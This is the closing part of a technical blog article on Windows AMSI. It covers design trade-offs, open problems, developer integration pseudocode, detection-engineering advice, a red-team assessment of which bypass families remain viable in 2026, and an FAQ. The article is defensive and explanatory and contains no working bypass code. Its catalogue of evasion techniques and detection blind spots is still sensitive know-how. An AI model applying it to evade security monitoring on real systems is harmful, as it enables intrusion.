&lt;p&gt;Why can AMSI not be moved into a &lt;a href=&quot;https://paragmali.com/blog/vbs-trustlets-what-actually-runs-in-the-secure-kernel/&quot; rel=&quot;noopener&quot;&gt;VBS Trustlet&lt;/a&gt; (the isolated, kernel-attested user-mode environment that Hyper-V&apos;s Virtual Secure Mode hosts)? Latency. A Trustlet call is a VTL switch: the CPU takes a VMEXIT into the hypervisor, saves and restores the VMCS, and returns into VTL1; the Hyper-V Top-Level Functional Specification documents the mechanism as a hypercall (Microsoft TLFS: Virtual Secure Mode [@tlfs-vsm]). AMSI is on the hot path of every script statement: PowerShell calls &lt;code&gt;AmsiScanBuffer&lt;/code&gt; per command, Office VBA calls it per trigger, .NET calls it per &lt;code&gt;Assembly.Load&lt;/code&gt;. Multiplying every per-statement scan by a VTL round trip is unacceptable. The same-process design is a deliberate latency-versus-isolation trade-off, made in 2015 and confirmed every year since.&lt;/p&gt;
&lt;p&gt;Why can AMSI not be moved out-of-process to a broker? Same answer: the broker&apos;s RPC round trip puts process context switches and ALPC marshalling on the same per-statement hot path. And a broker introduces a different problem: an in-process attacker could prevent the host from speaking to the broker (close the RPC handle, replace the proxy, set a hardware breakpoint on the marshalling thunk). The attack surface is not reduced; it is moved.&lt;/p&gt;

The pragmatic alternative to &quot;AMSI as a security boundary&quot; is *defense in depth across three trust models*, which is what Microsoft has actually shipped:&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;The synchronous gate.&lt;/strong&gt; AMSI in-process. Beats the unprivileged-payload case. Cannot be a boundary because of the latency math above.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The ETW correlation seam.&lt;/strong&gt; The &lt;code&gt;Microsoft-Antimalware-Scan-Interface&lt;/code&gt; provider emits the buffer to whoever can read it. Beats the in-process bypass case, because the ETW emit happens before the bypass-clobbered return [@ethicalchaos].&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The policy-denial layer.&lt;/strong&gt; Constrained Language Mode under WDAC User Mode Code Integrity, and the &quot;Block Macros from Internet&quot; default. These do not scan content; they refuse to run it [@ps-clm] [@internet-macros-blocked].&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The three together cover the cases AMSI alone cannot. Each one is weak alone. None of them is a security boundary in MSRC&apos;s strict sense; together, they cover the operational space.
&lt;/p&gt;&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Now we know what AMSI is, what it is not, and how attackers have spent seven years stress-testing the difference. What is left unsolved?&lt;/p&gt;
&lt;h2&gt;10. Open Problems: The 2026 Frontier&lt;/h2&gt;
&lt;p&gt;Fred Cohen proved in 1984 that general virus detection is undecidable: &quot;In general, detection of a virus is shown to be undecidable both by a priori and runtime analysis, and without detection, cure is likely to be difficult or impossible&quot; [@cohen-1984]. AMSI does not try to solve Cohen&apos;s problem. AMSI solves an adjacent problem -- given a deobfuscated buffer, does it match patterns a provider has seen? -- which is finite-state and tractable. The first is impossible. The second is the only thing that has ever worked.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; AMSI does not try to solve the undecidable problem of &quot;is this program malicious?&quot;. It solves a tractable adjacent problem: &quot;does this deobfuscated buffer match patterns we have seen?&quot;. The first is theoretically impossible (Cohen 1984). The second is the only thing that has ever scaled.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The empirical upper bound on the second problem is now known. Danny Hendler, Shay Kels, and Amir Rubin&apos;s 2020 ACM AsiaCCS paper, &lt;em&gt;Detecting Malicious PowerShell Commands using Deep Neural Networks&lt;/em&gt; [@hendler-msr], reports on AMSI-collected PowerShell: &quot;Our best-performing model uses an architecture that enables the processing of textual signals from both the character and token levels and obtains a true-positive rate of nearly 90% while maintaining a low false-positive rate of less than 0.1%.&quot; The arXiv preprint carries the same headline figures [@hendler-arxiv]. About 90 percent true positive at under 0.1 percent false positive is the practical ceiling on AMSI-side classification. It is much better than every pre-AMSI defender alone, and it is still 10 percent away from perfect. Cohen&apos;s lower bound on the &lt;em&gt;general&lt;/em&gt; problem means perfect is not on offer; the question is what fraction of the residual 10 percent the next ten years close.&lt;/p&gt;

flowchart TD
    A[AMSI in 2026: open problems]
    A --&amp;gt; B[Patchless bypass detection without PPL]
    A --&amp;gt; C[Non-Microsoft script runtimes Python Node Ruby]
    A --&amp;gt; D[AMSI for AI-runtime LLM-generated code]
    A --&amp;gt; E[Cross-runtime correlation single chain]
    A --&amp;gt; F[IAmsiStream adoption beyond scripts]
    A --&amp;gt; G[AMSI on Linux macOS especially dotnet]&lt;pre&gt;&lt;code&gt;B -.user-mode-only detection requires polling.-&amp;gt; B1[Open: no general solution]
C -.PEP-578 audit hooks architecturally similar.-&amp;gt; C1[Open: no production bridge]
D -.does content-scan even apply to LLM output.-&amp;gt; D1[Open: design problem]
E -.no correlation_id joins macro-PowerShell-dotnet.-&amp;gt; E1[Open: per-host-app scope]
F -.designed for adoption but adoption thin.-&amp;gt; F1[Open: market problem]
G -.no shared script-engine host model.-&amp;gt; G1[Open: platform problem]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Open problem 1: patchless hardware-breakpoint bypass on unprivileged user-mode EDR.&lt;/strong&gt; The Outflank 2020 technique still works against EDR products that lack any kernel-side ETW consumer for thread-context writes [@crowdstrike-veh]. CrowdStrike&apos;s recommended detector, &lt;code&gt;Microsoft-Windows-Kernel-Audit-API-Calls&lt;/code&gt;, is available to admin-side consumers without an Antimalware-PPL gate; &lt;code&gt;Microsoft-Windows-Threat-Intelligence&lt;/code&gt; is the stricter alternative for the remote-thread-context subset. The conjecture, stated bluntly: no reliable fully-unprivileged user-mode-only detection of the patchless bypass exists. Any such detection would have to either poll the debug registers (which defeats the bypass&apos;s whole point) or hook the syscalls the bypass uses (which any in-process bypass can in turn defeat). The path forward is to make kernel-ETW consumption table stakes for any serious EDR product on Windows; the path is administrative, not architectural.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Open problem 2: non-Microsoft script runtimes.&lt;/strong&gt; Python, Node.js, Ruby, Lua, and the JavaScript hosts embedded in WebView2 are all script-execution surfaces that AMSI does not see. Python&apos;s PEP-578 audit hooks are architecturally similar to AMSI: a callback the runtime invokes at security-relevant events. No production AMSI bridge for Python ships from Microsoft or from any major Python distributor. The architectural reason is that AMSI&apos;s contract assumes a host that has a clear &quot;about to execute deobfuscated content&quot; moment; not every runtime presents that moment to the OS in a way an external provider can intercept.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Open problem 3: AMSI for AI-runtime / LLM-generated code.&lt;/strong&gt; When Copilot or AutoGen agents generate code that an automated runner executes, is &lt;code&gt;AmsiScanBuffer&lt;/code&gt; the right seam for inspection? The architectural question is harder than the engineering one: do content-scan signatures even apply to LLM-generated code at all? The empirical answer is unknown, and the public AMSI corpus (§8 above, plus the Hendler/Kels/Rubin character- and token-level model from §10) is built on the obfuscation artefacts of human-authored attacks; whether the same signal shape persists when the author is a language model is itself the open research question. A different seam, closer to &quot;policy at agent-execution time,&quot; may be the right model.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Open problem 4: cross-runtime correlation.&lt;/strong&gt; Today, each AMSI integration sees its slice of the attack. Office VBA sees the trigger buffer. PowerShell sees the deobfuscated command line. .NET sees the in-memory assembly. The provider can correlate calls within one &lt;code&gt;HAMSISESSION&lt;/code&gt;, but no single &lt;code&gt;correlation_id&lt;/code&gt; joins Office VBA&apos;s session to the PowerShell session it spawns to the .NET assembly that PowerShell loads. A SOC analyst piecing together the chain joins on parent process ID and timestamp; the join is fragile.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Open problem 5: &lt;code&gt;IAmsiStream&lt;/code&gt; adoption beyond script engines.&lt;/strong&gt; &lt;code&gt;IAmsiStream&lt;/code&gt; was designed for non-script content -- IM messages, downloaded plugins, BLOB attachments -- but the demand from non-script applications never materialized. The interface is ready; the integrations are not. This one is a market problem, not an architectural one, and there is no obvious actor whose interest is to fix it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Open problem 6: AMSI on Linux and macOS.&lt;/strong&gt; PowerShell 7 runs on Linux. .NET runs on Linux. The same &lt;code&gt;Assembly.Load(byte[])&lt;/code&gt; attack surface that drove .NET 4.8&apos;s AMSI integration exists in CoreCLR, unwatched. No equivalent of AMSI ships outside Windows. Partly that is platform: every Python and Node install on Linux is essentially its own host with its own life cycle, and there is no shared script-engine model the way &lt;code&gt;amsi.dll&lt;/code&gt; provides on Windows. Partly it is economics: the large-customer demand that drove every Windows AMSI integration since 2015 has not assembled on the other side. The PowerShell team&apos;s path forward is uncertain.&lt;/p&gt;
&lt;p&gt;If you build, hunt, attack, or defend on Windows, AMSI is not optional reading. The next section is the Monday-morning answer for each of those four roles.&lt;/p&gt;
&lt;h2&gt;11. Practical Guide: For Four Roles on Monday Morning&lt;/h2&gt;
&lt;p&gt;The rest of this section is the action-oriented closing. One numbered subsection per audience. Skip to the one that applies to you.&lt;/p&gt;
&lt;h3&gt;11.1 For an application developer&lt;/h3&gt;
&lt;p&gt;You ship a Windows application that hosts a scripting engine, an automation surface, or a plug-in loader. Here is the minimum-viable AMSI integration. The call lifecycle is exactly five functions plus one cleanup pair.&lt;/p&gt;

# Pseudocode against the Win32 flat-C AMSI surface in amsi.dll.
# A real implementation would use C++ or Rust with the actual amsi.h
# types. The lifecycle and error handling are the load-bearing parts.&lt;p&gt;amsi = ctypes.WinDLL(&quot;amsi.dll&quot;)&lt;/p&gt;
1. Once at startup. appName is what shows up in DeviceEvents.AmsiProcessName.
&lt;p&gt;ctx = HAMSICONTEXT()
hr = amsi.AmsiInitialize(&quot;MyApp_v3.2&quot;, byref(ctx))
if hr != S_OK:
    raise OSError(hr)&lt;/p&gt;
&lt;p&gt;try:
    # 2. Once per logical user command (NOT once per buffer).
    session = HAMSISESSION()
    hr = amsi.AmsiOpenSession(ctx, byref(session))
    if hr != S_OK:
        raise OSError(hr)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;try:
    # 3. Once per buffer. The contentName is what the SOC analyst sees.
    result = AMSI_RESULT()
    hr = amsi.AmsiScanBuffer(
        ctx, buffer, len(buffer), &quot;user-script.ps1&quot;, session, byref(result))
    if hr != S_OK:
        raise OSError(hr)

    # 4. Interpret the verdict.
    if amsi.AmsiResultIsMalware(result):
        raise SecurityException(&quot;AMSI flagged the content as malicious&quot;)

finally:
    # 5. Always close the session.
    amsi.AmsiCloseSession(ctx, session)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;finally:
    # 6. Always uninitialize at shutdown.
    amsi.AmsiUninitialize(ctx)
&lt;/p&gt;&lt;p&gt;&lt;/p&gt;
&lt;p&gt;The four common bugs to avoid: forgetting &lt;code&gt;AmsiUninitialize&lt;/code&gt; (the handle leaks until the process dies); sharing one &lt;code&gt;HAMSISESSION&lt;/code&gt; across threads (the correlation breaks and the provider sees one giant interleaved logical command); ignoring &lt;code&gt;AMSI_RESULT_DETECTED&lt;/code&gt; (defeats the entire point of integrating); and passing a meaningless &lt;code&gt;contentName&lt;/code&gt; (every SOC analyst hunting your application will quietly curse you).&lt;/p&gt;
&lt;h3&gt;11.2 For an AV or EDR vendor implementing a provider&lt;/h3&gt;
&lt;p&gt;If you are an AV vendor, the Microsoft Windows-classic-samples AmsiProvider [@amsi-sample] is your starting point. The skeleton: &lt;code&gt;DllRegisterServer&lt;/code&gt; writes the two registry trees (the CLSID tree under &lt;code&gt;HKLM\SOFTWARE\Classes\CLSID&lt;/code&gt; and the AMSI opt-in tree under &lt;code&gt;HKLM\SOFTWARE\Microsoft\AMSI\Providers&lt;/code&gt;); the IClassFactory boilerplate creates an instance; &lt;code&gt;IAntimalwareProvider::Scan&lt;/code&gt; consumes the &lt;code&gt;IAmsiStream&lt;/code&gt; and bridges it to your scan engine [@amsi-devaudience].&lt;/p&gt;
&lt;p&gt;Three operational gotchas that have bitten every vendor at least once:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Load dependencies with full paths.&lt;/strong&gt; Windows 10 1709&apos;s DLL-hijack mitigation refuses unqualified &lt;code&gt;LoadLibrary&lt;/code&gt; calls from AMSI provider DLLs. Use full paths for every secondary DLL your provider loads [@amsi-devaudience].&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Authenticode-sign your provider.&lt;/strong&gt; Windows 10 1903&apos;s optional signing check at &lt;code&gt;HKLM\SOFTWARE\Microsoft\AMSI\FeatureBits = 0x2&lt;/code&gt; refuses unsigned providers. Many enterprise customers set that bit by policy.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ThreadingModel must be &lt;code&gt;Both&lt;/code&gt;.&lt;/strong&gt; Marshaling proxies break the in-process performance assumption.&lt;/li&gt;
&lt;/ol&gt;

Defender inherits a legacy contract from the IOfficeAntiVirus era: when a full third-party AV registers itself as the active antimalware provider, Defender unregisters itself as the active AV and remains as a passive scanner. AMSI is the modern instance of that contract. Your registered provider becomes the active AV slot; Defender steps aside. The flip is not silent: Defender logs the transition, and admin tools display the new active AV in Windows Security Center. If you are the registered provider and Defender is *not* yielding, recheck your registration (both registry trees, signing, and that your provider&apos;s `IAntimalwareProvider::DisplayName` returns a non-empty string).
&lt;h3&gt;11.3 For a detection engineer&lt;/h3&gt;
&lt;p&gt;The two-pronged hunt: query the cloud telemetry (&lt;code&gt;DeviceEvents&lt;/code&gt; in Defender XDR) for the wide net, and run an on-host ETW consumer (SilkETW or Sealighter against GUID &lt;code&gt;{2A576B87-09A7-520E-C21A-4942F0271D67}&lt;/code&gt;) for the air-gapped and high-value hosts. The KQL pattern in §7 is the cloud-side join; the on-host consumer is documented in the &lt;code&gt;AMSIScriptDetections.md&lt;/code&gt; hunting pack [@bertjan-amsi-queries].&lt;/p&gt;
&lt;p&gt;Bonus rule: deploy a gap-detection alert. &quot;Any &lt;code&gt;powershell.exe&lt;/code&gt; process alive longer than 60 seconds with more than five &lt;code&gt;ProcessCommandLine&lt;/code&gt; entries and zero &lt;code&gt;AmsiScriptDetection&lt;/code&gt; events&quot; is a high-signal pattern across every bypass family in §8, including the patchless ones. It does not detect the &lt;em&gt;bypass&lt;/em&gt;; it detects the &lt;em&gt;result&lt;/em&gt; of the bypass, which is silence where there should be sound.&lt;/p&gt;
&lt;h3&gt;11.4 For a red-team operator&lt;/h3&gt;
&lt;p&gt;The viability of each bypass family in 2026 against fully-patched Windows 11 23H2 with Defender for Endpoint and a PPL-onboarded EDR is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;AmsiUtils.amsiInitFailed&lt;/code&gt;: dead. String signature still in place; Sophos reports about 1 percent detection share in 2021, which means roughly 1 percent of commodity actors still ship the literal bypass and get caught [@sophos-bypasses].&lt;/li&gt;
&lt;li&gt;In-process &lt;code&gt;AmsiScanBuffer&lt;/code&gt; patch: dead. Byte-pattern signature plus behavior signature on writes to &lt;code&gt;amsi.dll&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Provider COM-hijack: dead. 1903 signing requirement plus 1709 DLL-hijack mitigation.&lt;/li&gt;
&lt;li&gt;Hardware-breakpoint VEH (Outflank 2020 family): generates &lt;code&gt;Microsoft-Windows-Kernel-Audit-API-Calls&lt;/code&gt; &lt;code&gt;NtSetContextThread&lt;/code&gt; events to any admin-side ETW consumer; the stricter &lt;code&gt;Microsoft-Windows-Threat-Intelligence&lt;/code&gt; event fires only on remote-thread writes, so the in-thread variant is invisible to EtwTi but visible without PPL [@crowdstrike-veh].&lt;/li&gt;
&lt;li&gt;CLR-DLL patch (Practical Security Analytics, 2021): niche; the &lt;code&gt;Microsoft-Windows-DotNETRuntime&lt;/code&gt; ETW correlation closes most variants.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Even when a bypass succeeds against the synchronous &lt;code&gt;AmsiScanBuffer&lt;/code&gt; return, the ETW provider still emits from inside the prologue. If your goal is silence rather than evasion, you need a bypass that prevents &lt;code&gt;amsi.dll&lt;/code&gt; from loading at all, and most modern hosts will not let you. The trade between &quot;I bypassed AMSI&quot; and &quot;I left no telemetry&quot; is rarely the same trade.&lt;/p&gt;
&lt;/blockquote&gt;

Even surviving 2026-viable bypasses emit telemetry that compounds: a provider COM-hijack attempt generates an unsigned-load failure in the Windows event log; a hardware-breakpoint VEH bypass generates an `NtSetContextThread` event in `Microsoft-Windows-Kernel-Audit-API-Calls` (and in `Microsoft-Windows-Threat-Intelligence` on the remote-thread subset); a CLR-DLL patch generates a clr.dll-write event in the kernel-mode memory-protection telemetry. The &quot;I bypassed AMSI&quot; cost is one event; the &quot;I bypassed AMSI invisibly&quot; cost is many. On a high-assurance target where the SOC is hunting on the gap and the EDR has PPL onboarded, the risk-adjusted return on most known bypasses is negative.
&lt;p&gt;AMSI is, in the end, a covenant. The script engine promises to phone home before it runs your code. The defender promises to listen. Everyone -- attacker, defender, developer, AV vendor -- has spent ten years arguing about the terms.&lt;/p&gt;
&lt;h2&gt;12. FAQ&lt;/h2&gt;

No. Per Microsoft&apos;s published Windows Security Servicing Criteria [@msrc-criteria], AMSI is not classified as a security boundary, which means AMSI-bypass bugs are not serviced as security vulnerabilities. The Microsoft Security Response Center&apos;s response to CyberArk Labs (reproduced in the May 2018 redux disclosure [@cyberark-redux]) is verbatim: &quot;the AMSI was not designed to prevent such attacks.&quot; See §9 for the architectural reasoning.

No. `MpOav.dll` loads *into the calling process* (`powershell.exe`, `winword.exe`, `wscript.exe`), not into `MsMpEng.exe`. The PPL hardening protects `MsMpEng.exe`&apos;s process from tampering, but it does not extend to the AMSI provider DLL that gets loaded into the script host&apos;s memory space [@redcanary-amsi].

Because AMSI&apos;s trust model assumes the host process is benign. A non-admin who has code execution inside a non-PPL host can patch the host&apos;s own memory (Era 2) or flip the host&apos;s own managed state via reflection (Era 1). Neither requires admin. Hardening AMSI against the unprivileged in-process attacker would require moving AMSI out of the host process, which would defeat its latency and post-deobfuscation-visibility design. See §9 [@mdsec-evasion].

The decrypted one. AMSI is called *after* `[Convert]::FromBase64String`, after XOR, after string concatenation, and after `Invoke-Expression` argument construction. The host hands AMSI the buffer that the executor was about to run. That is the entire point of the design [@holmes-2015-wayback].

No. AMSI catches `Assembly.Load(byte[])` since .NET Framework 4.8 (April 2019) [@dotnet-48]. It does *not* catch `DynamicMethod` [@dotnet-dynamicmethod] emission via `System.Reflection.Emit`, because there is no PE-load event to anchor a scan on; the IL is built up byte by byte inside the CLR. Detection of `Reflection.Emit` abuse falls under the broader &quot;Reflection&quot; bypass family Trend Micro catalogues separately from the in-memory `AmsiScanBuffer` patch family [@trendmicro-bypass].

A combination of architectural and platform reasons. Architecturally, Linux and macOS do not have a shared script-engine host model; every Python, Node.js, Ruby, and Perl install is essentially its own host. Platform-wise, the demand for an out-of-the-box scan-interface contract has not materialized, even though PowerShell 7 and .NET Core both run on Linux. See §10 for the structural argument.

AMSI is synchronous and can block; ETW is asynchronous and observation-only. Both surface the same data (the post-deobfuscation buffer) and the same provider verdict. AMSI is for *decisions* (the host refuses to run flagged content). The `Microsoft-Antimalware-Scan-Interface` ETW provider with GUID `{2A576B87-09A7-520E-C21A-4942F0271D67}` is for *correlation* and *gap detection* (the SOC can see the scan happened even when an in-process bypass mutes the synchronous return) [@etw-manifest].
&lt;p&gt;&lt;strong&gt;Key terms.&lt;/strong&gt; AMSI; &lt;code&gt;AmsiScanBuffer&lt;/code&gt;; &lt;code&gt;AmsiInitialize&lt;/code&gt;; &lt;code&gt;AmsiOpenSession&lt;/code&gt;; &lt;code&gt;HAMSISESSION&lt;/code&gt;; &lt;code&gt;AMSI_RESULT_DETECTED&lt;/code&gt; (32768); AMSI provider; &lt;code&gt;MpOav.dll&lt;/code&gt;; CLSID &lt;code&gt;{2781761E-28E0-4109-99FE-B9D127C57AFE}&lt;/code&gt;; ETW provider &lt;code&gt;{2A576B87-09A7-520E-C21A-4942F0271D67}&lt;/code&gt;; trigger-buffer architecture; Script Block Logging (Event 4104); &lt;code&gt;amsiInitFailed&lt;/code&gt;; Antimalware-PPL; &lt;code&gt;Microsoft-Windows-Threat-Intelligence&lt;/code&gt; (EtwTi); Constrained Language Mode.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Review questions.&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Why is &lt;code&gt;IOfficeAntiVirus&lt;/code&gt; (Office 97) architecturally unable to catch a VBA macro that does &lt;code&gt;Application.Run&lt;/code&gt; of a string decoded from a worksheet cell, even when the decoded string is malicious? (§3)&lt;/li&gt;
&lt;li&gt;State the design intent Lee Holmes named in his June 9, 2015 disclosure in one sentence. Then explain why &quot;the engine can see the actual code that will be passed to be evaluated&quot; makes the obfuscation arms race obsolete on the AMSI side specifically. (§4)&lt;/li&gt;
&lt;li&gt;Walk through every step of &lt;code&gt;AmsiInitialize&lt;/code&gt; -&amp;gt; &lt;code&gt;AmsiOpenSession&lt;/code&gt; -&amp;gt; &lt;code&gt;AmsiScanBuffer&lt;/code&gt; -&amp;gt; &lt;code&gt;AmsiResultIsMalware&lt;/code&gt; -&amp;gt; &lt;code&gt;AmsiCloseSession&lt;/code&gt; -&amp;gt; &lt;code&gt;AmsiUninitialize&lt;/code&gt; for one PowerShell command. What happens at each step, and which field in the &lt;code&gt;DeviceEvents&lt;/code&gt; table does each parameter map to? (§5, §6)&lt;/li&gt;
&lt;li&gt;Why does AMSI&apos;s same-process design produce both its capability (post-deobfuscation visibility) and its failure mode (in-process bypass)? What two trust assumptions make AMSI valuable anyway? (§5, §9)&lt;/li&gt;
&lt;li&gt;For each of the six bypass eras in §8, state the technique in one sentence, the defender response in one sentence, and the era&apos;s residual viability against Windows 11 23H2 plus Defender in 2026.&lt;/li&gt;
&lt;li&gt;Why does the &lt;code&gt;Microsoft-Antimalware-Scan-Interface&lt;/code&gt; ETW provider&apos;s prologue emit survive the patchless hardware-breakpoint bypass that mutes the synchronous &lt;code&gt;AmsiScanBuffer&lt;/code&gt; return? (§7, §8 Era 5)&lt;/li&gt;
&lt;li&gt;What is the role of Cohen&apos;s 1984 undecidability result in framing AMSI&apos;s open problems for 2026? Why does it justify the Hendler/Kels/Rubin ~90 percent / &amp;lt;0.1 percent ceiling rather than refuting it? (§10)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Further reading.&lt;/strong&gt; Lee Holmes, &lt;em&gt;Windows 10 to offer application developers new malware defenses&lt;/em&gt; [@holmes-2015-wayback] (June 9, 2015). Microsoft Office 365 Threat Research, &lt;em&gt;Office VBA + AMSI: Parting the veil on malicious macros&lt;/em&gt; [@msec-vba-amsi-2018] (September 12, 2018). Gimpel and Ben Porat, &lt;em&gt;AMSI Bypass: Patching Technique&lt;/em&gt; [@cyberark-patching] (CyberArk Labs, February 2018). Hendler, Kels, and Rubin, &lt;em&gt;Detecting Malicious PowerShell Commands using Deep Neural Networks&lt;/em&gt; [@hendler-arxiv] (ACM AsiaCCS 2020). Microsoft Windows-classic-samples AmsiProvider [@amsi-sample] (reference provider implementation).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Citation availability.&lt;/strong&gt; Two original primary sources cited by the historical record for §8 are not currently accessible from non-browser clients and are therefore omitted as live URLs from this article&apos;s reference set; all load-bearing technique mechanics, attributions, and dates are preserved through accessible secondary sources. (a) Cornelis de Plaa&apos;s Outflank post of January 29, 2020 on the hardware-breakpoint VEH bypass (outflank.nl, &quot;Bypassing AMSI by manipulating the AMSI scan results&quot;) is no longer reachable from non-browser clients and has no Wayback snapshot; the technique&apos;s mechanics, January 29, 2020 publication date, and Outflank/Cneelis attribution are reproduced verbatim by EthicalChaos (April 2022) [@ethicalchaos], CrowdStrike (2024) [@crowdstrike-veh], and Trend Micro (December 2022) [@trendmicro-bypass]. (b) Matt Graeber&apos;s May 2016 &lt;code&gt;amsiInitFailed&lt;/code&gt; tweet sits behind the Twitter/X login wall; the tweet body, the May 2016 date, and the &lt;code&gt;amsiInitFailed&lt;/code&gt; reflection technique are reproduced verbatim by Sophos (June 2021) [@sophos-bypasses] (&quot;In May of 2016, PowerShell hacker Matt Graeber published a one-line AMSI evasion in a tweet&quot;) and MDSec (June 2018) [@mdsec-evasion] (full decompilation of the targeted private static field). Readers can reach every load-bearing primary source for both Era 1 (&lt;code&gt;amsiInitFailed&lt;/code&gt;) and Era 5 (hardware-breakpoint VEH) via the corroborating links above.&lt;/p&gt;

</content:encoded><category>amsi</category><category>windows-security</category><category>defender</category><category>powershell</category><category>malware-detection</category><category>etw</category><category>bypass-arms-race</category><author>noreply@paragmali.com (Parag Mali)</author></item></channel></rss>